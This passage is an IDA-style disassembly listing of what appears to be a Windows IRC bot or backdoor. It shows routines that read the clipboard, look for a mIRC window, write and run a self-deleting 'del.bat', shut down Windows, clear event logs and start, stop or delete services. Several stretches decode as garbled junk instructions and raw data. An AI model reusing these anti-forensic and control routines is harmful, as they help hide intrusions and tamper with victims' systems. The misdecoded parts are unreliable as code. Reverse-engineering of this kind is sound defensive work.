loc_41815C:				; CODE XREF: sub_4180DD+3Cj
		push	ebx
		call	sub_41B2A1
		pop	ecx


loc_418163:				; CODE XREF: sub_4180DD+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_41816A
; ---------------------------------------------------------------------------


loc_418168:				; CODE XREF: sub_4180DD+Cj
					; sub_4180DD+13j ...
		xor	eax, eax


loc_41816A:				; CODE XREF: sub_4180DD+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4180DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41816E	proc near		; CODE XREF: sub_4019DB+DCp

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_41B780
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B1D0
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_4181A6
		or	eax, 0FFFFFFFFh
		jmp	short loc_41820D
; ---------------------------------------------------------------------------


loc_4181A6:				; CODE XREF: sub_41816E+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_4181C7


loc_4181B2:				; CODE XREF: sub_41816E+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4181BF
		cmp	dl, 0Dh
		jnz	short loc_4181C2


loc_4181BF:				; CODE XREF: sub_41816E+4Aj
		mov	[ecx+esi], bl


loc_4181C2:				; CODE XREF: sub_41816E+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4181B2


loc_4181C7:				; CODE XREF: sub_41816E+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_4181EF


loc_4181CD:				; CODE XREF: sub_41816E+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_4181EA
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_4181EA
		cmp	edi, 1F4h
		jge	short loc_4181EF
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi


loc_4181EA:				; CODE XREF: sub_41816E+62j
					; sub_41816E+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_4181CD


loc_4181EF:				; CODE XREF: sub_41816E+5Dj
					; sub_41816E+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_41820B
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C500
		add	esp, 0Ch


loc_41820B:				; CODE XREF: sub_41816E+84j
		mov	eax, edi


loc_41820D:				; CODE XREF: sub_41816E+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41816E	endp


; =============== S U B	R O U T	I N E =======================================



sub_418212	proc near		; CODE XREF: sub_41826C+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_41824B
		push	ebx
		mov	ebx, edi


loc_41822F:				; CODE XREF: sub_418212+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_41824E
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41822F
		pop	ebx


loc_41824B:				; CODE XREF: sub_418212+18j
		pop	edi
		pop	esi
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824E	proc near		; CODE XREF: sub_418212+25p
					; sub_41826C+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D96C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418269
		cmp	al, 7Ah
		jg	short loc_418269
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418269:				; CODE XREF: sub_41824E+Ej
					; sub_41824E+12j
		xor	eax, eax
		retn
sub_41824E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41826C	proc near		; CODE XREF: seg000:0041542Fp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BD10
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B1D0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B1D0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418212
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_41831E
; ---------------------------------------------------------------------------


loc_4182AC:				; CODE XREF: sub_41826C+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D96C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D96C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41831C


loc_4182CE:				; CODE XREF: sub_41826C+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_41824E
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4182EF
		mov	eax, ecx


loc_4182EF:				; CODE XREF: sub_41826C+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41832C
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D96C
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_41D96C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4182CE


loc_41831C:				; CODE XREF: sub_41826C+60j
		dec	edi
		dec	esi


loc_41831E:				; CODE XREF: sub_41826C+3Ej
		test	esi, esi
		jg	short loc_4182AC
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418327:				; CODE XREF: sub_41826C+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41832C:				; CODE XREF: sub_41826C+88j
		xor	eax, eax
		jmp	short loc_418327
sub_41826C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418330	proc near		; CODE XREF: seg000:004092B4p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0B10000h
		dec	eax
		lea	eax, [ebp+var_100]


loc_418369:				; CODE XREF: sub_418330+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418375
		cmp	cl, 9
		jnz	short loc_418378


loc_418375:				; CODE XREF: sub_418330+3Ej
		inc	eax
		jmp	short loc_418369
; ---------------------------------------------------------------------------


loc_418378:				; CODE XREF: sub_418330+43j
					; sub_418330+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_418392
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418378
		cmp	cl, 21h
		jl	short loc_418378


loc_418392:				; CODE XREF: sub_418330+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DD368
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41BB70
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418330	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183BA	proc near		; CODE XREF: seg000:00403F47p
		push	esi
		push	0
		call	ds:dword_4CDBC8	; OpenClipboard
		test	eax, eax
		jz	short loc_4183F1
		push	1
		call	ds:dword_4CDBE8	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4183F1
		push	edi
		push	esi
		call	ds:dword_428164	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_428160	; GlobalUnlock
		call	ds:dword_4CDC4C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4183F1:				; CODE XREF: sub_4183BA+Bj
					; sub_4183BA+19j
		xor	eax, eax
		pop	esi
		retn
sub_4183BA	endp

; ---------------------------------------------------------------------------


loc_4183F5:				; CODE XREF: seg000:0040905Fp
		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_4CDC04	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_418471
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 0B10000h
		xor	dl, [esi+56h]
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 0B10000h
		cmp	bh, bh
		jz	short loc_418458
		adc	al, 8Bh
		fcom	dword ptr [ebx-18h]
		cmp	[esi], esi
; ---------------------------------------------------------------------------
		db 0
		dd 56595900h, 0C868016Ah, 55000004h, 0DC5415FFh, 6A56004Ch
		dd 4C96801h, 0FF550000h
; ---------------------------------------------------------------------------


loc_418458:				; CODE XREF: seg000:00418432j
		adc	eax, offset dword_4CDC54
		push	ebx
		call	near ptr 0B10000h
		dec	esp
		push	edi
		call	ds:dword_42806C	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_418473
; ---------------------------------------------------------------------------


loc_418471:				; CODE XREF: seg000:0041840Bj
		xor	eax, eax


loc_418473:				; CODE XREF: seg000:0041846Fj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-11Ch]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_4CDCB0	; SearchPathA
		test	eax, eax
		jz	short near ptr loc_418512+4
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_4280EC
		push	1
		lea	eax, [ebp-11Ch]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short near ptr loc_418512+4
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		call	near ptr 0F50004h
		mov	byte ptr [ebx-75h], 1Dh
		insb
		add	byte ptr [edx+0], 0FFh
		shr	dword ptr [edx+0], cl
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	dword ptr [ebp+8]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short near ptr loc_418512+4
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	near ptr 0F70004h


loc_418512:				; CODE XREF: seg000:004184A1j
					; seg000:004184C8j ...
		sbb	eax, 5FD3FF56h
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41851B	proc near		; CODE XREF: seg000:00403140p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419828
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_4CDB38	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_41851B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41853D	proc near		; CODE XREF: seg000:0040420Dp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_42A094, esi
		push	edi
		jz	short loc_418561
		cmp	ds:dword_4CDCC4, esi
		jnz	short loc_418561
		push	esi
		call	start
		pop	ecx


loc_418561:				; CODE XREF: sub_41853D+13j
					; sub_41853D+1Bj
		call	sub_40B134
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 0B10000h
		pop	ebp
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4280EC	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4186C1
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 0B10000h
		lds	edx, [edi-1]
		adc	eax, offset dword_42806C
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B780
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43FDB4
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 0B10000h
		adc	eax, 79BCE850h
		outsd
		add	[ebx], dl
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_428098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418669
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 0B10000h
		dec	eax


loc_418669:				; CODE XREF: sub_41853D+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41BA76
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 0B10000h
		mov	al, 8Dh
		inc	ebp
		in	al, dx
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 0B10000h
		xchg	eax, edx


loc_4186C1:				; CODE XREF: sub_41853D+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41853D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186C5	proc near		; CODE XREF: seg000:00408C2Ap

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	ds:dword_4280C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_41875B
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	ds:dword_4CDB78	; OpenEventLogA
		push	edi
		push	eax
		call	ds:dword_4CDB88	; ClearEventLogA
		test	eax, eax
		jz	short loc_41874D
		push	[ebp+arg_10]
		push	offset dword_43B5F8


loc_418726:				; CODE XREF: sub_4186C5+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41BA76
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h
		jmp	short loc_418785
; ---------------------------------------------------------------------------


loc_41874D:				; CODE XREF: sub_4186C5+57j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43B5D0
		jmp	short loc_418726
; ---------------------------------------------------------------------------


loc_41875B:				; CODE XREF: sub_4186C5+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43B5A0
		push	eax
		call	sub_41BA76
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 1Ch


loc_418785:				; CODE XREF: sub_4186C5+86j
		pop	edi
		leave
		retn
sub_4186C5	endp

; ---------------------------------------------------------------------------


loc_418788:				; CODE XREF: seg000:00407091p
		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp-94h]
		mov	dword ptr [ebp-94h], 94h
		push	eax
		call	ds:dword_4280C8	; GetVersionExA
		cmp	dword ptr [ebp-90h], 4
		jnz	short loc_4187CD
		cmp	dword ptr [ebp-8Ch], 0
		jnz	loc_418857
		xor	eax, eax
		inc	eax
		cmp	[ebp-84h], eax
		jz	near ptr loc_418850+5


loc_4187CD:				; CODE XREF: seg000:004187AFj
					; seg000:00418867j
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ds:dword_4280B8	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	ds:dword_4280BC
		push	32h
		mov	edi, eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1C0h]
		push	eax
		call	sub_41DA54
		push	32h
		lea	eax, [ebp-15Ch]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_41DA54
		push	32h
		lea	eax, [ebp-0F8h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_41DA54
		lea	eax, [ebp-0F8h]
		push	eax
		call	sub_41DA37
		add	eax, eax
		push	eax
		lea	eax, [ebp-0F8h]
		push	eax
		lea	eax, [ebp-15Ch]
		push	eax
		lea	eax, [ebp-1C0h]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 0B10000h


loc_418850:				; CODE XREF: seg000:004187C7j
		arpl	[ebx-36A1A039h], cx
		retn
; ---------------------------------------------------------------------------


loc_418857:				; CODE XREF: seg000:004187B8j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jz	short loc_41886D
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	loc_4187CD


loc_41886D:				; CODE XREF: seg000:0041885Ej
		xor	eax, eax
		inc	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418872	proc near		; CODE XREF: sub_401132+F7p
					; seg000:00414F53p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		call	sub_41BAD2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_428700
		call	sub_41C988
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418872	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188AF	proc near		; CODE XREF: seg000:loc_405FDBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418914
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_43B620[esi]
		push	edi
		push	eax
		call	sub_418936
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4188F7
		push	edi
		push	ds:off_43B61C[esi]
		mov	esi, offset dword_4DDC38
		push	offset unk_43B730
		push	esi
		call	sub_41BA76
		add	esp, 10h
		jmp	short loc_418931
; ---------------------------------------------------------------------------


loc_4188F7:				; CODE XREF: sub_4188AF+2Aj
		push	eax
		call	sub_4189D8
		push	eax
		push	edi
		mov	esi, offset dword_4DDC38
		push	offset unk_43B704
		push	esi
		call	sub_41BA76
		add	esp, 14h
		jmp	short loc_418931
; ---------------------------------------------------------------------------


loc_418914:				; CODE XREF: sub_4188AF+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DDC38
		push	ds:off_43B618[eax*4]
		push	offset unk_43B6E0
		push	esi
		call	sub_41BA76
		add	esp, 0Ch


loc_418931:				; CODE XREF: sub_4188AF+46j
					; sub_4188AF+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4188AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418936	proc near		; CODE XREF: sub_4188AF+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_4CDBEC	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41895D
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4189D2
; ---------------------------------------------------------------------------


loc_41895D:				; CODE XREF: sub_418936+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_4CDAD4	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41897D
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4189CA
; ---------------------------------------------------------------------------


loc_41897D:				; CODE XREF: sub_418936+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4189B0
		cmp	eax, 3
		jz	short loc_4189A1
		jle	short loc_4189C3
		cmp	eax, 6
		jg	short loc_4189C3
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_4CDB40	; ControlService
		jmp	short loc_4189B7
; ---------------------------------------------------------------------------


loc_4189A1:				; CODE XREF: sub_418936+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_4CDADC	; StartServiceA
		jmp	short loc_4189B7
; ---------------------------------------------------------------------------


loc_4189B0:				; CODE XREF: sub_418936+4Dj
		push	esi
		call	ds:dword_4CDB44	; DeleteService


loc_4189B7:				; CODE XREF: sub_418936+69j
					; sub_418936+78j
		test	eax, eax
		jnz	short loc_4189C3
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_4189C3:				; CODE XREF: sub_418936+54j
					; sub_418936+59j ...
		push	esi
		call	ds:dword_4CDAF0	; CloseServiceHandle


loc_4189CA:				; CODE XREF: sub_418936+45j
		push	edi
		call	ds:dword_4CDAF0	; CloseServiceHandle
		pop	esi


loc_4189D2:				; CODE XREF: sub_418936+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189D8	proc near		; CODE XREF: sub_4188AF+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418A8D
		jz	loc_418A86
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418A50
		jz	short loc_418A46
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418A3C
		dec	ecx
		dec	ecx
		jz	short loc_418A32
		dec	ecx
		jz	short loc_418A28
		sub	ecx, 51h
		jz	short loc_418A1E
		sub	ecx, 24h
		jnz	loc_418B03	; default
					; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418AF5
; ---------------------------------------------------------------------------


loc_418A1E:				; CODE XREF: sub_4189D8+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418AF5
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_4189D8+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418AF5
; ---------------------------------------------------------------------------


loc_418A32:				; CODE XREF: sub_4189D8+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418AF5
; ---------------------------------------------------------------------------


loc_418A3C:				; CODE XREF: sub_4189D8+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418AF5
; ---------------------------------------------------------------------------


loc_418A46:				; CODE XREF: sub_4189D8+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418AF5
; ---------------------------------------------------------------------------


loc_418A50:				; CODE XREF: sub_4189D8+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418A7F
		dec	ecx
		jz	short loc_418A78
		dec	ecx
		jz	short loc_418A71
		dec	ecx
		jnz	loc_418B03	; default
					; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418AF5
; ---------------------------------------------------------------------------


loc_418A71:				; CODE XREF: sub_4189D8+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418A78:				; CODE XREF: sub_4189D8+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418A7F:				; CODE XREF: sub_4189D8+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418A86:				; CODE XREF: sub_4189D8+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418A8D:				; CODE XREF: sub_4189D8+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418B03 ; default
					; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418AF0
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418B03 ; default
					; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_418B44[ecx]
		jmp	ds:off_418B1C[ecx*4] ; switch jump


loc_418AB1:				; DATA XREF: seg000:off_418B1Co
		push	offset aTheSpecifiedDa ; jumptable 00418AAA case 7
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418AB8:				; CODE XREF: sub_4189D8+D2j
					; DATA XREF: seg000:off_418B1Co
		push	offset aTheServiceDepe ; jumptable 00418AAA case 17
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418ABF:				; CODE XREF: sub_4189D8+D2j
					; DATA XREF: seg000:off_418B1Co
		push	offset aTheServiceDe_0 ; jumptable 00418AAA case 10
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418AC6:				; CODE XREF: sub_4189D8+D2j
					; DATA XREF: seg000:off_418B1Co
		push	offset aTheServiceHasB ; jumptable 00418AAA case 0
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418ACD:				; CODE XREF: sub_4189D8+D2j
					; DATA XREF: seg000:off_418B1Co
		push	offset aTheSpecified_0 ; jumptable 00418AAA case 2
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418AD4:				; CODE XREF: sub_4189D8+D2j
					; DATA XREF: seg000:off_418B1Co
		push	offset aTheServiceCoul ; jumptable 00418AAA case 11
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418ADB:				; CODE XREF: sub_4189D8+D2j
					; DATA XREF: seg000:off_418B1Co
		push	offset aTheServiceHa_0 ; jumptable 00418AAA case 14
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418AE2:				; CODE XREF: sub_4189D8+D2j
					; DATA XREF: seg000:off_418B1Co
		push	offset aTheRequested_1 ; jumptable 00418AAA case 3
		jmp	short loc_418AF5
; ---------------------------------------------------------------------------


loc_418AE9:				; CODE XREF: sub_4189D8+D2j
					; DATA XREF: seg000:off_418B1Co
